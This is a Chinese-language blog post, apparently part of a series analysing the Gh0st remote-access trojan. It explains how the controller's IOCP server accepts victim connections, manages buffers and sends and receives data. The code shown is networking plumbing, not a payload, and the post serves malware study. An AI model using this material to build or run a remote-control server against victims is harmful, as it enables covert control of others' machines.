        CLock cs(m_cs, "OnAccept" );

        // Hold a reference to the context

        m_listContexts.AddTail(pContext);

     

     

        // Trigger first IO Completion Request

        // Otherwise the Worker thread will remain blocked waiting forGetQueuedCompletionStatus...

        // The first message that gets queued up is ClientIoInitializing - seeThreadPoolFunc and

        // IO_MESSAGE_HANDLER

     

     

        OVERLAPPEDPLUS  *pOverlap = new OVERLAPPEDPLUS(IOInitialize);

     

        BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);

       

        if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))

        {           

            RemoveStaleClient(pContext,TRUE);

            return;

        }

     

        m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT);

     

        // Post to WSARecv Next

        PostRecv(pContext);

    }

     

    对以上代码进行说明:首先,创建了一个与被控端进行通信的clientSocket,这个clientSocket是主控端与被控端进行信息交互的传输媒介。接下来是为了与被控端进行信息交互而创建了一个保存客户端数据的变量ClientContext* pContext = AllocateContext();我们看以下这个函数的实现:

    ClientContext CIOCPServer::AllocateContext()

    {

        ClientContext* pContext = NULL;

     

        CLock cs(CIOCPServer::m_cs, "AllocateContext");

     

        if (!m_listFreePool.IsEmpty())

        {

            pContext = m_listFreePool.RemoveHead();

        }

        else

        {

            pContext = new ClientContext;

        }

     

        ASSERT(pContext);

       

        if (pContext != NULL)

        {

     

            ZeroMemory(pContext, sizeof(ClientContext));

            pContext->m_bIsMainSocket = false;

            memset(pContext->m_Dialog, 0, sizeof(pContext->m_Dialog));

        }

        return pContext;

    }

     首先是用临界区CLock cs(CIOCPServer::m_cs, "AllocateContext")锁住了这块代码,以使得这个线程独占的访问该代码。接着判断m_listFreePool这个链表里面是否还有元素存在,注意这个连表里的每一个元素都是一个指针,指向一个ClientContext结构。有的话直接从这个连表里摘取一个下来,否则的话需要从新申请一个ClientContext结构。我们对这个结构的成员变量进行一番说明。

     

     m_Socket:主控端用来记录与每个被控端进行通信的Socket m_WriteBuffer:这个变量的类型是CBuffer类,关于这个类型的定义如下所示,在这里我们也啰嗦一下,全面讲讲这个类的各个成员函数。

    class CBuffer 

    {

    // Attributes

    protected:

        PBYTE   m_pBase;

        PBYTE   m_pPtr;

        UINT    m_nSize;

     

     

    // Methods

    protected:

        UINT ReAllocateBuffer(UINT nRequestedSize);

        UINT DeAllocateBuffer(UINT nRequestedSize);

        UINT GetMemSize();

    public:

        void ClearBuffer();

     

        UINT Delete(UINT nSize);

        UINT Read(PBYTE pData, UINT nSize);

        BOOL Write(PBYTE pData, UINT nSize);

        BOOL Write(CString& strData);

        UINT GetBufferLen();

        int Scan(PBYTE pScan,UINT nPos);

        BOOL Insert(PBYTE pData, UINT nSize);

        BOOL Insert(CString& strData);

     

        void Copy(CBuffer& buffer);

     

        PBYTE GetBuffer(UINT nPos=0);

     

        CBuffer();

        virtual ~CBuffer();

     

        void FileWrite(const CString& strFileName);

     

    };

     首先呢,看看CBuffer这个类的三个成员变量 m_pBase:始终指向Buffer的一个起始位置。 m_pPtr:始终指向Buffer的一个结束位置。 m_nSize:始终反映当前这个缓冲区的大小。接下来看看这几个成员函数:构造函数

     析构函数

    CBuffer::~CBuffer()

    {

        if (m_pBase)

            VirtualFree(m_pBase,0,MEM_RELEASE);

    }

     重新调整缓冲区的大小的函数(往大了去调整)

    UINT CBuffer::ReAllocateBuffer(UINT nRequestedSize)

    {

        if (nRequestedSize < GetMemSize())

            return 0;

     

        // Allocate new size

        UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;

     

        // New Copy Data Over

        PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);

     

        UINT nBufferLen = GetBufferLen();

        CopyMemory(pNewBuffer,m_pBase,nBufferLen);

     

        if (m_pBase)

            VirtualFree(m_pBase,0,MEM_RELEASE);

     

     

        // Hand over the pointer

        m_pBase = pNewBuffer;

     

        // Realign position pointer

        m_pPtr = m_pBase + nBufferLen;

     

        m_nSize = nNewSize;

     

        return m_nSize;

    }

     

    重新调整缓冲区的大小的函数(往小了去调整)

    UINT CBuffer::DeAllocateBuffer(UINT nRequestedSize)

    {

        if (nRequestedSize < GetBufferLen())

            return 0;

     

        // Allocate new size

        UINT nNewSize = (UINT) ceil(nRequestedSize / 1024.0) * 1024;

     

        if (nNewSize < GetMemSize())

            return 0;

     

        // New Copy Data Over

        PBYTE pNewBuffer = (PBYTE) VirtualAlloc(NULL,nNewSize,MEM_COMMIT,PAGE_READWRITE);

     

        UINT nBufferLen = GetBufferLen();

        CopyMemory(pNewBuffer,m_pBase,nBufferLen);

     

        VirtualFree(m_pBase,0,MEM_RELEASE);

     

        // Hand over the pointer

        m_pBase = pNewBuffer;

     

        // Realign position pointer

        m_pPtr = m_pBase + nBufferLen;

     

        m_nSize = nNewSize;

     

        return m_nSize;

    }

      返回CBuffer对象一些参数信息。比如缓冲区的大小m_nSize,缓冲区中有效数据的擦长度。  在这里我们要注意,缓冲区的大小与缓冲区中存储的信息不是一个概念,我们看返回这俩个数据的函数。  返回缓冲区的大小

    UINT CBuffer::GetMemSize()

    {

        return m_nSize;

    }

     

     返回有效数据的长度

    UINT CBuffer::GetBufferLen()

    {

        if (m_pBase == NULL)

            return 0;

     

        int nSize =

            m_pPtr - m_pBase;

        return nSize;

    }

     往缓冲区中写数据

    BOOL CBuffer::Write(PBYTE pData, UINT nSize)

    {

        ReAllocateBuffer(nSize + GetBufferLen());

     

        CopyMemory(m_pPtr,pData,nSize);

     

        // Advance Pointer

        m_pPtr+=nSize;

     

        return nSize;

    }

     从缓冲区中读取数据

    UINT CBuffer::Read(PBYTE pData, UINT nSize)

    {

        // Trying to byte off more than ya can chew - eh?

        if (nSize > GetMemSize())

            return 0;

     

        // all that we have

        if (nSize > GetBufferLen())

            nSize = GetBufferLen();

     

           

        if (nSize)

        {

            // Copy over required amount and its not up to us

            // to terminate the buffer - got that!!!

            CopyMemory(pData,m_pBase,nSize);

           

            // Slide the buffer back - like sinking the data

            MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

     

            m_pPtr -= nSize;

        }

           

        DeAllocateBuffer(GetBufferLen());

     

        return nSize;

    }

     往缓冲区首部插入数据

    BOOL CBuffer::Insert(PBYTE pData, UINT nSize)

    {

        ReAllocateBuffer(nSize + GetBufferLen());

     

        MoveMemory(m_pBase+nSize,m_pBase,GetMemSize() - nSize);

        CopyMemory(m_pBase,pData,nSize);

     

        // Advance Pointer

        m_pPtr+=nSize;

     

        return nSize;

    }

     

     从缓冲区首部中删除数据

    UINT CBuffer::Delete(UINT nSize)

    {

        // Trying to byte off more than ya can chew - eh?

        if (nSize > GetMemSize())

            return 0;

     

        // all that we have

        if (nSize > GetBufferLen())

            nSize = GetBufferLen();

     

           

        if (nSize)

        {

            // Slide the buffer back - like sinking the data

            MoveMemory(m_pBase,m_pBase+nSize,GetMemSize() - nSize);

     

            m_pPtr -= nSize;

        }

           

        DeAllocateBuffer(GetBufferLen());

     

        return nSize;

    }

     从指定的位置开始搜索字符串

    int CBuffer::Scan(PBYTE pScan,UINT nPos)

    {

        if (nPos > GetBufferLen() )

            return -1;

     

        PBYTE pStr = (PBYTE) strstr((char*)(m_pBase+nPos),(char*)pScan);

       

        int nOffset = 0;

     

        if (pStr)

            nOffset = (pStr - m_pBase) + strlen((char*)pScan);

     

        return nOffset;

    }

     返回缓冲区中指定的位置处得字符串

    PBYTE CBuffer::GetBuffer(UINT nPos)

    {

        return m_pBase+nPos;

    }

     清空缓冲区中的数据

    void CBuffer::ClearBuffer()

    {

        // Force the buffer to be empty

        m_pPtr = m_pBase;

     

        DeAllocateBuffer(1024);

    }

     

     实际上并没有清空,这个缓冲区里还有1024个字节的空间。   下面是几种往缓冲区中增加数据的方式,包括以CString的方式,CBuffer的方式,File的方式。

     

     

     至此,这个CBuffer这个类的成员变量以及成员函数我们就看到这里。我们继续回到这个类——ClientContext CBuffer  m_WriteBuffer;           // 将要发送的数据 CBuffer  m_CompressionBuffer;      // 接收到的压缩的数据CBuffer  m_DeCompressionBuffer;    // 解压后的数据 CBuffer  m_ResendWriteBuffer;      // 上次发送的数据包,接收失败时重发时用 int     m_Dialog[2];             // 第一个int是类型,第二个是CDialog的地址int     m_nTransferProgress;      // 记录传输的速度 // Input Elements for Winsock WSABUF   m_wsaInBuffer;BYTE     m_byInBuffer[8192]; 以上两个值是给非阻塞函数WSARecv函数作为参数用的,具体的用法,看下面:*******************************************************************************pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer); UINTnRetVal =WSARecv(pContext->m_Socket,                       &pContext->m_wsaInBuffer,                       1,                       &dwNumberOfBytesRecvd,                      &ulFlags,                       &pOverlap->m_ol,                       NULL); 首先,将m_wsaInBuffer 这个变量的两个成员变量赋值为ClientContext里的成员变量m_byInBuffer。然后再WSARecv这个函数里会用到m_wsaInBuffer。在这里我们要第一次简单的初探主控端与被控端的交互过程:我打算从两个不同角度去简要的叙述一下主控端与被控端之间的交互过程。第一:数据的发送过程。 1:在CIOCPServer::Send函数中准备好待发送的数据。就是将需要发送的数据先存储在ClientContext::m_WriteBuffer这个缓冲区中,主控端主动向被控端发送的数据基本上都是一些命令数据,因此,没有将命令数据进行压缩传输。但是,在传输的过程中可能会引起数据丢失,需要备份将要发送的数据,因此,在ClientContext::m_ResendWriteBuffer中备份了这些命令数据。 2:准备好将要发送的数据之后,使用 OVERLAPPEDPLUS * pOverlap = newOVERLAPPEDPLUS(IOWrite);PostQueuedCompletionStatus(m_hCompletionPort,                          0,                          (DWORD)pContext,                         &pOverlap->m_ol); 向完成端口投递一个发送数据的请求,这个时候的数据并没有送出到网卡的数据缓冲区,当然也就没有被发送出去,这个时候的数据甚至都可能没有发送至TCP/IP协议栈的缓冲区中。 3:守候在完成端口上的工作线程会因为这里投递了一个发送数据的请求而被唤醒,这个时候BOOL bIORet =GetQueuedCompletionStatus(hCompletionPort,                                          &dwIoSize,                                          LPDWORD) &lpClientContext,                                           &lpOverlapped,INFINITE); 等待在此函数上的线程会被唤醒,这个函数会返回,并且在lpClientContext,会返回由PostQueuedCompletionStatus的参数pContext指向的内容地址。在lpOverlapped中会返回pOverlap这个变量的值。 PostQueuedCompletionStatus GetQueuedCompletionStatus 这两个函数的参数是一一对应的。 4:先前发送的投递请求最终是由CIOCPServer::ProcessIOMessage这个函数来完成的,关于这个函数的定义,不得不去看一组宏定义: enum IOType {IOInitialize, IORead, IOWrite, IOIdle }; #define BEGIN_IO_MSG_MAP() \ public: \Bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize =0)\ { \ bool bRet = false; #define IO_MESSAGE_HANDLER(msg, func) \ if (msg ==clientIO) \        bRet = func(pContext,dwSize);   #define END_IO_MSG_MAP() \ return bRet; \ } 接下来,我们需要看看使用这个宏的地方的定义: BEGIN_IO_MSG_MAP()         IO_MESSAGE_HANDLER(IORead,OnClientReading)        IO_MESSAGE_HANDLER(IOWrite,OnClientWriting)         IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing) END_IO_MSG_MAP() 对这组宏调用进行宏展开,展开之后的情形为: public: Bool ProcessIOMessage(IOType clientIO, ClientContext* pContext,DWORD dwSize = 0)\ { bool bRet = false; if (IORead == clientIO)\         bRet =OnClientReading(pContext, dwSize); if (IOWrite == clientIO)\        bRet = OnClientWriting(pContext,dwSize); if (IOInitialize == clientIO)\          bRet =OnClientInitializing(pContext, dwSize);      returnbRet; } 5:这样的话,我们所投递的发送数据的请求,就由OnClientWriting这个函数来处理了,这个函数的处理方式也比较简单。 pContext->m_wsaOutBuffer.buf =(char*) pContext->m_WriteBuffer.GetBuffer(); pContext->m_wsaOutBuffer.len= pContext->m_WriteBuffer.GetBufferLen(); int nRetVal =WSASend(pContext->m_Socket,                      &pContext->m_wsaOutBuffer,                      1,                      &pContext->m_wsaOutBuffer.len,                      ulFlags,                      &pOverlap->m_ol,                     NULL); 将含有待发送数据的缓冲区地址赋给我们使用WSASend函数的参数,然后将数据发送出去,这样就完成了整个数据的发送过程。而且这整个过程也都是由动作驱动的,有数据发送,则主动投递发送请求。第二:数据的接收过程首先说明一点,数据的接收的过程是由程序自身驱动的,我们必须自己先调用WSARecv函数,通知完成端口一旦在该套接字上有数据到达即调用为完成端口服务的线程中分发函数进行处理到来的数据。这一整个过程可以描述如下。 1:当有客户连接到来的时候,即调用 PostRecv(pContext); OVERLAPPEDPLUS * pOverlap = newOVERLAPPEDPLUS(IORead);ULONG                ulFlags = MSG_PARTIAL;DWORD                dwNumberOfBytesRecvd; UINT nRetVal =WSARecv(pContext->m_Socket,                     &pContext->m_wsaInBuffer,                      1,                      &dwNumberOfBytesRecvd,                      &ulFlags,                      &pOverlap->m_ol,                      NULL); 在这个函数中,调用WSARecv函数,并不是要接收数据,而是使得当在pContext->m_Socket这个Socket上有数据到来的时候,可以像完成端口投递一个IORead类型的读数据请求,当然这个IORead数据的读请求理所当然的由OnClientReadling这个函数来完成。 2:在OnclientReadling这个函数里完成,对数据的提取以及解压缩,在这里我们要注意一点,在函数WSARecv中要求数据到来的时候,填充到pContext->m_wsaInBuffer,这个缓冲区中,而这个缓冲区实际上是pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer); 这个缓冲区pContext->m_byInBuffer中会承载接收到得数据。然后对这个缓冲区中的数据进行一个解析,将数据先拷贝到m_CompressionBuffer这个缓冲区中,然后由这个缓冲区解压缩到m_DeCompressionBuffer这个缓冲区中,这样玩彻骨了一次数据的读取过程,接下来再次调用PostRecv这个函数,保证这个接收数据的操作始终是处于蓄势待发的状态,有数据到来,立马处理之。 // Output elements for Winsock WSABUF   m_wsaOutBuffer; 这个成员变量就是用来给WSASend作为函数参数来使用的,它的使用方式我们在上面也已经说过,在这里就不再赘述。 HANDLE   m_hWriteComplete; 这个变量在这里,我先临时定为无意义的一个变量,因为我确实没看到这个变量有被初始化。// Message counts... purely for example purposesLONG     m_nMsgIn; LONG     m_nMsgOut; 以上两个变量记录发送出去,或者接收到得数据包的个数。

    BOOL     m_bIsMainSocket; // 是不是主socket

    这两个变量并没有被启用。ClientContext*           m_pWriteContext;ClientContext*           m_pReadContext;   接下来,让我们回到CIOCPServer::AllocateContext这个函数,继续往下看这个函数里的实现:if (pContext != NULL) { ZeroMemory(pContext, sizeof(ClientContext));pContext->m_bIsMainSocket = false; memset(pContext->m_Dialog, 0,sizeof(pContext->m_Dialog)); } 对申请到得缓冲区进行一个清零,并且初始化几个成员变量的值。   继续回溯,回到CIOCPServer::OnAccept()这个函数,有剩余的代码需要分析pContext->m_Socket = clientSocket;pContext->m_wsaInBuffer.buf =(char*)pContext->m_byInBuffer;pContext->m_wsaInBuffer.len =sizeof(pContext->m_byInBuffer); 以上就是对新申请到得这个缓冲区的必要成员变量进行一个赋值操作,各个成员变量的含义我们在前面已经阐述过,这里不再赘述。 if (!AssociateSocketWithCompletionPort(clientSocket,                                       m_hCompletionPort,                                     (DWORD)pContext)) {    delete pContext;pContext = NULL; closesocket(clientSocket );    closesocket( m_socListen );   return; } 接下来,我们重点看看CIOCPServer::AssociateSocketWithCompletionPort这个函数的实现过程,这个函数的作用就是将主控端与被控端进行交互的套接字与完成端口关联起来,如此当在这些套接字上发生网络事件的时候,为完成端口工作的工作线程可以及时处理这些事件。

    BOOL CIOCPServer::AssociateSocketWithCompletionPort(SOCKET socket, HANDLE hCompletionPort, DWORD dwCompletionKey)

    {

        HANDLE h = CreateIoCompletionPort((HANDLE) socket, hCompletionPort, dwCompletionKey, 0);

        return h == hCompletionPort;

    }

     关于CreateIoCompletionPort这个函数的具体使用方法,在前面的我们有提到,在这里我们再回顾一下:

    The CreateIoCompletionPort function can associate an instance of an openedfile with a newly created or an existing input/output (I/O) completion port; orit can create an I/O completion port without associating it with a file

     

    也就是说这个函数既可以将某个打开的“文件”句柄与新创建的或者已经存在的输入输出端口相关联起来,也可以仅仅创建一个完成端口而不与某个“文件”相关联。上图所示即是将主控端与被控端端进行通信的套接字句柄与先前创建的那个完成端口相关联。

     

    我们继续看CIOCPServer::OnAccept()这个函数未解读的部分

    void CIOCPServer::OnAccept()

    {

     

        SOCKADDR_IN SockAddr;

        SOCKET      clientSocket;

       

        int         nRet;

        int         nLen;

     

        if (m_bTimeToKill || m_bDisconnectAll)

            return;

     

        //

        // accept the new socket descriptor

        //

        nLen = sizeof(SOCKADDR_IN);

        clientSocket = accept(m_socListen,

                            (LPSOCKADDR)&SockAddr,

                            &nLen);

     

        if (clientSocket == SOCKET_ERROR)

        {

            nRet = WSAGetLastError();

            if (nRet != WSAEWOULDBLOCK)

            {

                //

                // Just log the error and return

                //

                TRACE(_T("accept() error\n"),WSAGetLastError());

                return;

            }

        }

     

        // Create the Client context to be associted with the completion port

        ClientContext* pContext = AllocateContext();

        // AllocateContext fail

        if (pContext == NULL)

            return;

     

        pContext->m_Socket = clientSocket;

     

        // Fix up In Buffer

        pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;

        pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer);

     

       // Associate the new socket with a completion port.

        if (!AssociateSocketWithCompletionPort(clientSocket, m_hCompletionPort, (DWORD) pContext))

        {

            delete pContext;

            pContext = NULL;

     

            closesocket( clientSocket );

            closesocket( m_socListen );

            return;

        }

     

        // 关闭nagle算法,以免影响性能,因为控制时控制端要发送很多数据量很小的数据包,要求马上发送

        // 暂不关闭,实验得知能网络整体性能有很大影响

        const char chOpt = 1;

     

    // int nErr =setsockopt(pContext->m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt,sizeof(char));

    // if (nErr== -1)

    // {

    //      TRACE(_T("setsockopt()error\n"),WSAGetLastError());

    //      return;

    // }

     

        // Set KeepAlive 开启保活机制

        if (setsockopt(pContext->m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) != 0)

        {

            TRACE(_T("setsockopt() error\n"), WSAGetLastError());

        }

     

        // 设置超时详细信息

        MyTcpKeepAlive klive;

        klive.onoff = 1; // 启用保活

        klive.keepalivetime = m_nKeepLiveTime;

        klive.keepaliveinterval = 1000* 10; // 重试间隔为10 Resend if No-Reply

        WSAIoctl

            (

            pContext->m_Socket,

            SIO_KEEPALIVE_VALS,

            &klive,

            sizeof(MyTcpKeepAlive),

            NULL,

            0,

            (unsigned long *)&chOpt,

            0,

            NULL

            );

     

        CLock cs(m_cs, "OnAccept" );

        // Hold a reference to the context

        m_listContexts.AddTail(pContext);

     

     

        // Trigger first IO Completion Request

        // Otherwise the Worker thread will remain blocked waiting forGetQueuedCompletionStatus...

        // The first message that gets queued up is ClientIoInitializing - seeThreadPoolFunc and

        // IO_MESSAGE_HANDLER

     

     

        OVERLAPPEDPLUS  *pOverlap = new OVERLAPPEDPLUS(IOInitialize);

     

        BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);

       

        if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))

        {           

            RemoveStaleClient(pContext,TRUE);

            return;

        }

     

        m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT);

     

        // Post to WSARecv Next

        PostRecv(pContext);

    }

     

    设置了该套接字的一个保活特性,关于这部分的内容我们在Gh0st通信协议分析(1)里有也有讲过,在这里我们再回顾一下这种使用方法:

    设置了SIO_KEEPALIVE_VALS后,激活包由TCP STACK来负责。当网络连接断开后,TCP STACK并不主动告诉上层的应用程序,但是当下一次RECV或者SEND操作进行后,马上就会返回错误告诉上层这个连接已经断开了如果检测到断开的时候,在这个连接上有正在PENDINGIO操作,则马上会失败返回。

    上面这句代码的含义是:每隔m_nKeepLiveTime的时间,开始向受控端发送激活包,重复发送五次,每次发送的时间间隔是10秒钟,如果在十秒钟之内都没能得到回复,则判定受控端已经掉线。对掉线后的处理,在这里我必须要说说:由于TCP STACK并不主动告诉上层的应用程序,只有当下一次发送数据,或者接收数据的时候才会被发现。

     

    继续分析CIOCPServer::OnAccept()这个函数未解读的部分

     

    保存这个会话数据结构到m_listContexts这个变量中,接下来向完成端口投递一个名称为IOInitialize的请求,请求完成端口能处理这个请求,而完成端口对这个请求的处理,我们根据前面的分析,应该由CIOCPServer::OnClientInitializing:这个函数来处理,我们看看这个函数的实现方式:

    bool CIOCPServer::OnClientInitializing(ClientContext* pContext, DWORD dwIoSize)

    {

        // We are not actually doing anything here, but we could for instance make

        // a call to Send() to send a greeting message or something

     

        return true;        // make sure to issue a read after this

    }

     并没有做什么特别的处理。   接着调用了与界面进行交互的那个通知函数,我们这次再次进入这个函数里追踪一下上线这个过程。通过追踪NC_CLIENT_CONNECT这个变量我们发现,程序中并没有对这个通知做任何特殊的处理。接下来是调用了PostRecvpContext)这个函数,让我们看看这个函数的实现过程

    void CIOCPServer::PostRecv(ClientContext* pContext)

    {

        // issue a read request

        OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IORead);

        ULONG           ulFlags = MSG_PARTIAL;

        DWORD           dwNumberOfBytesRecvd;

        UINT nRetVal = WSARecv(pContext->m_Socket,

            &pContext->m_wsaInBuffer,

            1,

            &dwNumberOfBytesRecvd,

            &ulFlags,

            &pOverlap->m_ol,

            NULL);

       

        if ( nRetVal == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)

        {

            RemoveStaleClient(pContext, FALSE);

        }

    }

     这个函数就是向完成端口投递一个接收数据的请求,以待后续有数据传输过来的时候,会有完成端口的工作线程负责调用相应的函数去处理。   至此,主控端就顺利的完成了一次被上线主机的一个接收过程,接下来的过程,是受控端主动主控端发送上线包的这么一个过程,以及,被控端对各种控制命令的一个响应的过程。

     

     

    展开全文
  • 网络通信协议解析

    千次阅读 2019-11-19 17:14:48
    阅读目录 一.操作系统基础 二.网络通信原理 2.1 互联网的本质就是一系列的网络协议 2.2 osi七层协议 2.3 tcp/ip五层模型讲解 ...结合协议来看网络通信流程 一.操作系统基础  操作系统:(Operating ...
  • gh0st通信协议解析(1)

    千次阅读 2016-07-17 23:36:14
    界面篇等我先搞完这个通信协议解析再说,要不我老觉得自己是在扯淡。在这里我也给自己这两天搞的协议解析找个网络存储做一下备份。 Gh0st通信协议解析(1) 正所谓蛇打七寸,今天我们对gh0st的通信协议进行一个...
  • 使用Lua脚本为wireshark编写自定义通信协议解析器插件 .
  • IoT—物联网通信协议解析

    千次阅读 2020-07-01 07:41:49
    摘要 随着物联网设备数量的持续增加,这些设备之间的通信或连接已成为一个重要的思考课题。 通信对物联网来说十分常用且关键...其中一些通信协议只适合小型家用电器,而其他一些通信协议则可以用于大型智慧城 市项目。
  • 在IAR中用寄存器实现STM8S003串口通信,在接收中断中解析通信协议通信协议为两位数据作为头,两位数据作为尾。数据长度为任意长。并且允许发送的数据可以和协议头尾数据相同。大大减小了误判和漏判的几率。
  • Redis 5通信协议解析以及手写一个Jedis客户端 Redis的基础介绍与安装使用步骤:https://blog.csdn.net/qq_34002221/article/details/84963588 Redis的基础数据结构与使用: ...
  • 界面篇等我先搞完这个通信协议解析再说,要不我老觉得自己是在扯淡。在这里我也给自己这两天搞的协议解析找个网络存储做一下备份。 Gh0st通信协议解析(1) 正所谓蛇打七寸,今天我们对gh0st的通信协议进行一...
  • Arduino自定义通信协议解析

    万次阅读 热门讨论 2016-03-04 15:28:35
    上一篇文章给出了通信协议的设计。通信协议的格式如下: 协议首部 指令长度 控制指令 校验和 “控制指令”设计成如下格式: 设备类型 设备号 端口号 比如说上位机发送如下的格式的...
  • 数字示波器的发展极大的降低了低速总线调试的难度,传闻近日有一台示波器可以直接破解30多种通信协议,这是怎么回事呢?下面就来看看随着示波器的发展,协议解码出现了哪些变化吧
  • gh0st通信协议解析(2)

    千次阅读 2016-07-17 23:38:39
    Gh0st通信协议解析(2) 从被控端主动去连接主控端开始谈起。世间万事万物有始有终,宇宙环宇的动力起点就是上帝的那一推之力。当然,主控端与被控端的交互总是从被控端主动连接到主控端开始的,让我们从发起连接这...
  • RS-485总线通信协议解析RS-485总线技术只是规定了接口的电气标准,并没有规定RS-485接口的电缆,插件以及通信协议,只是OSI规范中物理层的一个标准,由于RS-485总线采用差分平衡传输方式,一般使用的电缆建议采用...
  • (1)低端PLC ,S7-200 ,支持的通信协议有这些 一、PPI通讯(点对点) PPI协议是专门为S7-200开发的通信协议。S7-200 CPU的通信口(Port0、Port1)支持PPI通信协议,S7-200的一些通信模块也支持PPI协议。Micro/...
  • SPI是一种高速的、全双工、同步通信总线,标准的 SPI 也仅仅使用4个引脚,常用于单片机和 EEPROM、FLASH、实时时钟、数字信号处理器等器件的通信。SPI 通信原理比 I2C 要简单,它主要是主从方式通信,这种模式通常...
  • DTS三相导轨有功(modbus)电度表进行modbus rtu 通信时遵循的协议
  • 为了不需要每次都进行晦涩的复杂的协议解析,这个库就此诞生了。该库支持arduino uno, stm32, esp32为了实现简单协议定义为:(帧头)+实际数据+数据长度(一个字节)+(帧尾)该库的作用是实现从一串杂乱无章的字节数组中...
  • RS-485总线通信协议解析

    千次阅读 多人点赞 2018-12-29 13:53:20
    RS-485总线技术只是规定了接口的电气标准,并没有规定RS-485接口的电缆,插件以及通信协议,只是OSI规范中物理层的一个标准,由于RS-485总线采用差分平衡传输方式,一般使用的电缆建议采用屏蔽双绞线,使得485+与485...
  • 与大家分享下gh0st通信的全过程解析...Gh0st通信协议解析(1) gh0st远控源码发布至今已有不少关于gh0st的改写教程,gh0st分析教程,gh0st的功能增加修改等相关资料网上多的数不胜数,今天我把我自己学的总结给大家。
  • c# 通信协议解析

    2013-10-14 23:10:36
    开始字符(“{”一个字节)+ 数据长度 + 应答(0表示没接收到,1表示接收成功)+校验位(xor校验) + 结束字符(“}”一个字节) ...请问解析这样的协议,怎样解析出应答命令。 拜托各位,急求!!!
  • unit HUtil32;//提供大量的辅助函数{$WARNINGS OFF}interface uses Classes, SysUtils, WinTypes, WinProcs, Graphics, Messages, Dialogs; type Str4096 = array [0..4096] of AnsiChar; Str256 = array [0.....

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 6,063
精华内容 2,425
关键字:

通信协议解析